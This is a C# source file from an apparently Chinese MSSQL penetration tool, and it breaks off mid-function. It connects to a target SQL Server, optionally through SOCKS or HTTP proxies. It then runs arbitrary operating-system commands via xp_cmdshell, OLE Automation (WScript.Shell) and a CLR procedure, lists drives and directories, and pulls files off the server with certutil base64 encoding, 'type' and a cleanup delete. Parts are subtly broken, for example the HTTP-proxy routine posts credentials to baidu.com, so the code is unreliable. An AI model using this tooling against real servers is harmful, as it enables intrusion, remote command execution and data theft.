﻿using System;
using System.Data.SqlClient;
using System.IO;
using System.Net.Http;
using System.Net;
using System.Net.Sockets;
using SocksSharp.Proxy;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Xml.Linq;
using System.Collections.Generic;
using System.Data;

namespace 天离安全_Mssql渗透系统.Services
{
    public class T_Client_Mssql
    {
        /// <summary>
        /// 通过socks5 连接数据库
        /// </summary>
        /// <param name="H"></param>
        /// <returns></returns>
        public static string M_Client_Proxy_Socks5(string H)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            // 代理信息
            string proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip; // 代理服务器地址
            int proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port); // 代理服务器端口

            // 测试代理
            TestSocks5(Api.T_Client_Mssql_Api.C1);

            // SQL Server 连接信息
            string server = Api.T_Client_Mssql_Api.Sip;
            int port = Convert.ToInt32(Api.T_Client_Mssql_Api.Sport);
            string database = Api.T_Client_Mssql_Api.Smaster;
            string username = Api.T_Client_Mssql_Api.Suser;
            string password = Api.T_Client_Mssql_Api.Spass;

            try
            {
                // 创建 TCP 客户端并连接到 SOCKS5 代理
                using (var tcpClient = new TcpClient(proxyHost, proxyPort))
                using (var networkStream = tcpClient.GetStream())
                {
                    // SOCKS5 握手
                    var handshake = new byte[] { 0x05, 0x01, 0x00 };
                    networkStream.Write(handshake, 0, handshake.Length);
                    var response = new byte[2];
                    networkStream.Read(response, 0, response.Length);

                    // 请求连接到 SQL Server
                    var sqlServerAddress = new byte[3 + server.Length + 2];
                    sqlServerAddress[0] = 0x05; // SOCKS version
                    sqlServerAddress[1] = 0x01; // CONNECT command
                    sqlServerAddress[2] = 0x00; // RSV
                    sqlServerAddress[3] = 0x01; // ATYP: IPv4
                    Array.Copy(System.Net.IPAddress.Parse(server).GetAddressBytes(), 0, sqlServerAddress, 4, 4);
                    sqlServerAddress[8] = (byte)(port >> 8); // PORT high byte
                    sqlServerAddress[9] = (byte)(port & 0xFF); // PORT low byte

                    // 发送连接请求
                    networkStream.Write(sqlServerAddress, 0, sqlServerAddress.Length);
                    networkStream.Read(response, 0, response.Length);

                    if (response[1] != 0x00)
                    {
                        throw new Exception("SOCKS5 连接错误");
                    }

                    // 创建 SQL Server 连接
                    var connectionString = new SqlConnectionStringBuilder
                    {
                        DataSource = server,
                        InitialCatalog = database,
                        UserID = username,
                        Password = password,
                        IntegratedSecurity = false,
                    }.ConnectionString;

                    using (var sqlConnection = new SqlConnection(connectionString))
                    {
                        sqlConnection.Open(); // 打开连接
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接成功" + "\r\n");
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接错误：" + ex.Message + "\r\n");
            }

            return H;
        }
        /// <summary>
        /// 通过socks4 代理来进行连接数据库
        /// </summary>
        /// <param name="H"></param>
        /// <returns></returns>
        public static string M_Client_Proxy_Socks4(string H)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            // 代理信息
            string proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip; // 代理服务器地址
            int proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port); // 代理服务器端口

            // SQL Server 连接信息
            string server = Api.T_Client_Mssql_Api.Sip;
            int port = Convert.ToInt32(Api.T_Client_Mssql_Api.Sport);
            string database = Api.T_Client_Mssql_Api.Smaster;
            string username = Api.T_Client_Mssql_Api.Suser;
            string password = Api.T_Client_Mssql_Api.Spass;

            try
            {
                // 创建 TCP 客户端并连接到 SOCKS4 代理
                using (var tcpClient = new TcpClient(proxyHost, proxyPort))
                using (var networkStream = tcpClient.GetStream())
                {
                    // 构建 SOCKS4 连接请求
                    var ipAddress = IPAddress.Parse(server).GetAddressBytes();
                    var socks4Request = new byte[9];
                    socks4Request[0] = 0x04; // SOCKS4版本
                    socks4Request[1] = 0x01; // CONNECT命令
                    Array.Copy(BitConverter.GetBytes((ushort)port), 0, socks4Request, 2, 2); // 目标端口
                    Array.Copy(ipAddress, 0, socks4Request, 4, 4); // 目标地址
                    socks4Request[8] = 0x00; // 终止字符

                    // 发送连接请求
                    networkStream.Write(socks4Request, 0, socks4Request.Length);

                    // 读取 SOCKS4 响应
                    var response = new byte[8];
                    networkStream.Read(response, 0, response.Length);

                    if (response[1] != 0x00)
                    {
                        throw new Exception("SOCKS4 连接错误");
                    }

                    // 创建 SQL Server 连接
                    var connectionString = new SqlConnectionStringBuilder
                    {
                        DataSource = server,
                        InitialCatalog = database,
                        UserID = username,
                        Password = password,
                        IntegratedSecurity = false,
                    }.ConnectionString;

                    using (var sqlConnection = new SqlConnection(connectionString))
                    {
                        sqlConnection.Open(); // 打开连接
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接成功" + "\r\n");
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接错误：" + ex.Message + "\r\n");
            }

            return H;
        }
        /// <summary>
        /// 使用http 代理连接数据库
        /// </summary>
        /// <param name="H"></param>
        /// <returns></returns>
        public static string M_Client_Proxy_Http(string H)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            // 代理信息
            var proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip;
            var proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port);

            // SQL Server 连接信息
            string server = Api.T_Client_Mssql_Api.Sip;
            int port = Convert.ToInt32(Api.T_Client_Mssql_Api.Sport);
            string database = Api.T_Client_Mssql_Api.Smaster;
            string username = Api.T_Client_Mssql_Api.Suser;
            string password = Api.T_Client_Mssql_Api.Spass;

            try
            {
                // 设置 HttpClientHandler
                var handler = new HttpClientHandler()
                {
                    Proxy = new WebProxy(proxyHost, proxyPort),
                    UseProxy = true,
                };

                using (var httpClient = new HttpClient(handler))
                {
                    // 构建一个简单的连接请求
                    var requestContent = new StringContent(
                        $"{{\"server\":\"{server}\",\"port\":{port},\"database\":\"{database}\",\"username\":\"{username}\",\"password\":\"{password}\";MultipleActiveResultSets=True;}}",
                        Encoding.UTF8,
                        "application/json"
                    );

                    // 直接发送连接请求
                    var response = httpClient.PostAsync("http://www.baidu.com", requestContent).Result;

                    if (response.IsSuccessStatusCode)
                    {
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接通过 HTTP 代理成功\r\n");
                    }
                    else
                    {
                        throw new Exception("HTTP代理 连接请求失败: " + response.StatusCode);
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接错误：" + ex.Message + "\r\n");
            }

            return H;
        }
        /// <summary>
        ///  在不使用代理的情况下来连接数据库
        /// </summary>
        /// <param name="H"></param>
        /// <returns></returns>
        public static string M_Client_Mssql(string H)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new StringBuilder();

            // SQL Server 连接信息
            string server = Api.T_Client_Mssql_Api.Sip;
            int port = Convert.ToInt32(Api.T_Client_Mssql_Api.Sport);
            string database = Api.T_Client_Mssql_Api.Smaster;
            string username = Api.T_Client_Mssql_Api.Suser;
            string password = Api.T_Client_Mssql_Api.Spass;

            // 连接字符串
            string connectionString = $"Server={server},{port};Database={database};User Id={username};Password={password};MultipleActiveResultSets=True;";

            try
            {
                using (SqlConnection connection = new SqlConnection(connectionString))
                {
                    // 打开连接
                    //connection.Open();
                    // 如果数据库连接成功就执行命令
                    //ExecuteSqlCommand(connection);
                    Api.T_Mssql_Excel.Connection = new SqlConnection(connectionString);
                    // 使用接口打开连接并进行存储
                    Api.T_Mssql_Excel.Connection.Open();

                    Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接成功\r\n");
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "数据库连接错误：" + ex.Message + "\r\n");
            }

            return H;
        }
        public static async Task M_Client_Mssql_Linkde(SqlConnection connection)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new StringBuilder();
            // 定义要执行的 SQL 命令
            string sqlCommand = "EXEC sp_helpserver 'TlSec';"; // 示例 SQL

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (reader.Read()) // 逐行读取
                        {
                            hasRows = true; // 确保至少有一行数据
                            StringBuilder rowOutput = new StringBuilder(); // 用于存储当前行的输出

                            // 遍历每一列
                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                // 读取每个列的值并拼接
                                object value = reader[i]; // 使用索引访问
                                rowOutput.Append($"{value?.ToString()}\t"); // 使用制表符分隔
                            }

                            // 将当前行的数据添加到 Info
                            Api.T_Mssql_Excel.Info.AppendLine(rowOutput.ToString().TrimEnd('\t')); // 移除末尾的制表符
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }


        }
        /// <summary>
        /// 测试socks5代理服务器
        /// </summary>
        /// <param name="socks5"></param>
        /// <returns></returns>
        public static string TestSocks5(string socks5)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            string proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip;
            int proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port);

            string targetUrl = "https://www.baidu.com";

            HttpClientHandler handler = new HttpClientHandler
            {
                Proxy = new WebProxy(proxyHost, proxyPort),
                UseProxy = true
            };

            HttpClient client = new HttpClient(handler);

            try
            {
                HttpResponseMessage response = client.GetAsync(targetUrl).Result;

                if (response.IsSuccessStatusCode)
                {
                    Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks5代理连接成功" + "\r\n");
                }
                else
                {
                    Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks5代理连接失败" + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks5代理连接错误：" + ex.Message + "\r\n");
            }
            return socks5;
        }
        /// <summary>
        /// 测试socks4代理服务器
        /// </summary>
        /// <param name="socks4"></param>
        /// <returns></returns>
        public static string TestSocks4(string socks4)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            string proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip;
            int proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port);

            string targetUrl = "https://www.baidu.com";

            try
            {
                using (TcpClient tcpClient = new TcpClient(proxyHost, proxyPort))
                {
                    // 解析目标主机和端口
                    Uri targetUri = new Uri(targetUrl);
                    string targetHost = targetUri.Host;
                    int targetPort = targetUri.Scheme == Uri.UriSchemeHttps ? 443 : 80;

                    // SOCKS4 连接请求
                    byte[] request = new byte[8 + targetHost.Length];
                    request[0] = 0x04; // SOCKS版本
                    request[1] = 0x01; // CONNECT命令
                    request[2] = (byte)(targetPort >> 8); // 目标端口高字节
                    request[3] = (byte)(targetPort & 0xFF); // 目标端口低字节

                    // 目标主机IP地址
                    IPAddress[] addresses = Dns.GetHostAddresses(targetHost);
                    request[4] = addresses[0].GetAddressBytes()[0];
                    request[5] = addresses[0].GetAddressBytes()[1];
                    request[6] = addresses[0].GetAddressBytes()[2];
                    request[7] = addresses[0].GetAddressBytes()[3];

                    // 目标主机名后加0
                    Array.Copy(Encoding.ASCII.GetBytes(targetHost), 0, request, 8, targetHost.Length);
                    request[8 + targetHost.Length] = 0x00; // 结束符

                    // 发送请求
                    tcpClient.GetStream().Write(request, 0, request.Length);

                    // 读取响应
                    byte[] response = new byte[8];
                    tcpClient.GetStream().Read(response, 0, 8);

                    // 检查是否成功连接
                    if (response[1] == 0x00) // 如果返回状态是0x00，表示成功
                    {
                        // 创建 HttpClient 以使用代理
                        HttpClientHandler handler = new HttpClientHandler
                        {
                            UseProxy = false, // 不使用 HttpClient 的代理，因为我们已经手动处理了连接
                            ServerCertificateCustomValidationCallback = HttpClientHandler.DangerousAcceptAnyServerCertificateValidator
                        };

                        using (HttpClient client = new HttpClient(handler))
                        {
                            // 使用 TCP client 发送请求
                            var requestMessage = new HttpRequestMessage(HttpMethod.Get, targetUrl);
                            var responseMessage = client.SendAsync(requestMessage).Result;

                            if (responseMessage.IsSuccessStatusCode)
                            {
                                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks4代理连接成功" + "\r\n");
                            }
                            else
                            {
                                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks4代理连接失败" + "\r\n");
                            }
                        }
                    }
                    else
                    {
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks4代理连接失败" + "\r\n");
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "socks4代理连接错误：" + ex.Message + "\r\n");
            }


            return socks4;
        }
        /// <summary>
        /// 测试http 代理服务器
        /// </summary>
        /// <param name="http"></param>
        /// <returns></returns>
        public static string TestHttp(string http)
        {
            // 初始化状态
            Api.T_Client_Mssql_Api.C_Status = new System.Text.StringBuilder();

            string proxyHost = Api.T_Client_Mssql_Api.Sproxy_ip;
            int proxyPort = Convert.ToInt32(Api.T_Client_Mssql_Api.Sproxy_port);

            string targetUrl = "https://www.baidu.com";

            try
            {
                // 创建 HttpClientHandler，指定代理
                var webProxy = new WebProxy(proxyHost, proxyPort);
                var handler = new HttpClientHandler
                {
                    Proxy = webProxy,
                    UseProxy = true,
                    ServerCertificateCustomValidationCallback = HttpClientHandler.DangerousAcceptAnyServerCertificateValidator // 忽略SSL验证
                };

                using (var client = new HttpClient(handler))
                {
                    // 发送请求
                    var responseMessage = client.GetAsync(targetUrl).Result;

                    if (responseMessage.IsSuccessStatusCode)
                    {
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "http代理连接成功" + "\r\n");
                    }
                    else
                    {
                        Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "http代理连接失败" + "\r\n");
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Client_Mssql_Api.C_Status.Append(DateTime.Now.ToString() + "：" + "http代理连接错误：" + ex.Message + "\r\n");
            }

            return http;
        }
        /// <summary>
        /// 执行sql命令
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="K"></param>
        /// <returns></returns>
        public static string ExecuteSqlCommand(SqlConnection connection,string K)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 定义要执行的 SQL 命令
            string sqlCommand = Api.T_Mssql_Excel.Esql; // 示例 SQL

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = command.ExecuteReader())
                    {
                        bool hasRows = false;

                        while (reader.Read()) // 逐行读取
                        {
                            hasRows = true; // 确保至少有一行数据
                            StringBuilder rowOutput = new StringBuilder(); // 用于存储当前行的输出

                            // 遍历每一列
                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                // 读取每个列的值并拼接
                                object value = reader[i]; // 使用索引访问
                                rowOutput.Append($"{value?.ToString()}\t"); // 使用制表符分隔
                            }

                            // 将当前行的数据添加到 Info
                            Api.T_Mssql_Excel.Info.AppendLine(rowOutput.ToString().TrimEnd('\t')); // 移除末尾的制表符
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }

            return K;
        }
        /// <summary>
        /// 执行系统命令-xp_cmdshell
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="K"></param>
        /// <returns></returns>
        public static async Task ExecuteSqlCommandSystem(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 执行系统命令
            string sqlCommand = $"EXEC xp_cmdshell '{Api.T_Mssql_Excel.Esql}'";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        while (reader.Read())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                Api.T_Mssql_Excel.Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 使用com 对象执行命令
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="K"></param>
        /// <returns></returns>
        public static async Task ExecuteSqlCommandSystem_Com(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 从 Api.T_Mssql_Excel.Esql 获取要执行的命令
            string commandToExecute = Api.T_Mssql_Excel.Esql;

            // 创建用于执行系统命令的 SQL 代码
            string sqlCommand = @"
                                DECLARE @Object INT;
                                DECLARE @hr INT;
                                DECLARE @Result INT;

                                -- 创建 COM 对象
                                EXEC @hr = sp_OACreate 'WScript.Shell', @Object OUT;

                                IF @hr <> 0
                                BEGIN
                                    PRINT 'Error creating OLE object';
                                    RETURN;
                                END

                                -- 执行命令
                                EXEC @hr = sp_OAMethod @Object, 'Run', @Result OUT, '{commandToExecute}', 0, 0;

                                IF @hr <> 0
                                BEGIN
                                    PRINT 'Error executing command';
                                    RETURN;
                                END

                                -- 清理
                                EXEC sp_OADestroy @Object;
                            ";

            // 替换为实际命令
            sqlCommand = sqlCommand.Replace("{commandToExecute}", commandToExecute);

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        while (reader.Read())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                Api.T_Mssql_Excel.Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：命令执行错误：" + ex.Message + "\r\n");
            }
        }
        public static async Task ExecuteSqlCommandSystem_Clr(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 使用 CLR 存储过程执行系统命令
            string sqlCommand = $"EXEC ExecuteSysCmd '{Api.T_Mssql_Excel.Esql}'";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        while (reader.Read())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                Api.T_Mssql_Excel.Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：命令执行成功\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：命令执行成功，但没有返回数据\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：命令执行错误：" + ex.Message + "\r\n");
            }
        }

        /// <summary>
        /// 获取磁盘分区信息
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="K"></param>
        /// <returns></returns>
        public static string WmicInfo(SqlConnection connection, string K)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            //string sqlCommand = $"EXEC xp_cmdshell \"del \"{path}{name}\"\"";

            // 执行系统命令
            string sqlCommand = "EXEC xp_cmdshell 'wmic logicaldisk get name'";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = command.ExecuteReader())
                    {
                        bool hasRows = false;
                        while (reader.Read())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                Api.T_Mssql_Excel.Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }

            return K;
        }
        /// <summary>
        /// 执行命令查看磁盘分区文件信息
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="K"></param>
        /// <returns></returns>
        public static string WmicInfo_Code(SqlConnection connection, string K)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 执行系统命令 EXEC xp_cmdshell 'E: & dir'
            //string sqlCommand = "EXEC xp_cmdshell \"dir " + Api.T_Mssql_Excel.Code + "\"";

            string path = Api.T_Mssql_Excel.Code; // 文件路径
            //string sqlCommand = $"EXEC xp_cmdshell \"dir \"\"{path}\"\"\"";
            string sqlCommand = $"EXEC xp_cmdshell \"cmd /c dir \"\"{path}\"\" /b /a\"";


            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = command.ExecuteReader())
                    {
                        bool hasRows = false;
                        while (reader.Read())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                string code = output;
                                Api.T_Mssql_Excel.Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }

            return K;
        }
        /// <summary>
        /// 执行文件删除
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="D"></param>
        /// <returns></returns>
        public static string Sql_Files_Del(SqlConnection connection, string D)
        {
            return D;
        }
        /// <summary>
        /// 执行文件下载
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="U"></param>
        /// <returns></returns>
        public static async Task Sql_Files_Upload(SqlConnection connection,Action<string> statusCallback = null, Action<int> progressCallback = null)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 先获取完整的路径
            string path = Api.T_Mssql_Excel.Path;

            // 获取的文件名称
            string name = Api.T_Mssql_Excel.Name;

            // 需要编码的名称，这个文件名称固定，不要随意篡改
            string bs4 = "tl-2024-0000-1198.txt";

            // 第一个文件
            string u = path + name;

            // 第二个文件
            string k = path + bs4;

            string b = "cmd /c certutil -encode ";

            string code = b + "\"" + u + "\" \"" + k + "\"";

            string sqlCommand = $"EXEC xp_cmdshell '{code}'";

            try
            {
                //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "正在对文件进行编码" + "\r\n");
                progressCallback?.Invoke(10);
                statusCallback?.Invoke("正在对文件进行编码");
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 这里直接执行命令，无需进行状态的判断
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        // 读取数据，虽然 xp_cmdshell 通常不返回有用的数据，但可以保留结构
                        await reader.ReadAsync();
                        progressCallback?.Invoke(50);
                        //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "已完成文件的编码，正在读取文件，请稍后..." + "\r\n");
                        statusCallback?.Invoke("已完成文件的编码，正在读取文件，请稍后...");
                    }
                }
            }
            catch (Exception ex)
            {
                //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
                statusCallback?.Invoke("命令执行错误：" + ex.Message);
                progressCallback?.Invoke(0);
            }
        }
        /// <summary>
        /// 获取文件的值
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Files_Echoe(SqlConnection connection, Action<string> statusCallback = null, Action<int> progressCallback = null)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();
            Api.T_Mssql_Excel.FileStatic = new StringBuilder();

            string path = Api.T_Mssql_Excel.Path;
            string bs4 = "tl-2024-0000-1198.txt";
            string sqlCommand = $"EXEC xp_cmdshell \"type {path + bs4}\"";

            try
            {
                progressCallback?.Invoke(60);
                statusCallback?.Invoke("正在读取文件数据");

                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        int totalRows = 0;
                        int currentRow = 0;

                        // 先获取总行数（估算）
                        var dataTable = new DataTable();
                        dataTable.Load(reader);
                        totalRows = dataTable.Rows.Count;

                        // 重新执行读取
                        using (SqlCommand countCommand = new SqlCommand(sqlCommand, connection))
                        using (SqlDataReader dataReader = await countCommand.ExecuteReaderAsync())
                        {
                            while (await dataReader.ReadAsync())
                            {
                                currentRow++;
                                hasRows = true;
                                string output = dataReader[0]?.ToString();
                                if (!string.IsNullOrEmpty(output))
                                {
                                    Api.T_Mssql_Excel.FileStatic.Append(output + "\r\n");
                                }

                                // 更新进度（60% - 80%）
                                if (totalRows > 0)
                                {
                                    int progress = 60 + (int)(20 * ((double)currentRow / totalRows));
                                    progressCallback?.Invoke(progress);
                                }
                            }
                        }

                        if (hasRows)
                        {
                            progressCallback?.Invoke(80);
                            statusCallback?.Invoke("文件数据读取完成");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                            statusCallback?.Invoke("命令执行成功，但没有返回数据");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
                statusCallback?.Invoke("命令执行错误：" + ex.Message);
                progressCallback?.Invoke(0);
            }
        }
        /// <summary>
        /// 在文件下载成功之后必须的删除文件
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_FilesDel (SqlConnection connection, Action<string> statusCallback = null)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();
            Api.T_Mssql_Excel.FileStatic = new StringBuilder();

            // 先获取完整的路径
            string path = Api.T_Mssql_Excel.Path;

            // 获取的文件名称
            string name = Api.T_Mssql_Excel.Name;

            // 需要编码的名称，这个文件名称固定，不要随意篡改
            string bs4 = "tl-2024-0000-1198.txt";

            // 实现对源文件进行整体的编码，然后将其保存为base64
            //string sqlCommand = $"EXEC xp_cmdshell \"dir \"\"{path}\"\"\"";
            string sqlCommand = $"EXEC xp_cmdshell \"cmd /c del \"\"{path}{bs4}\"\"\"";
            //string sqlCommand = $"EXEC xp_cmdshell \"del {path + bs4}\"";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 使用异步执行
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        // 使用异步进行循环
                        while (await reader.ReadAsync())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                // 循环的获取完整的值
                                //Api.T_Mssql_Excel.FileStatic.Append(output + "\r\n");
                                //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "下载失败！");
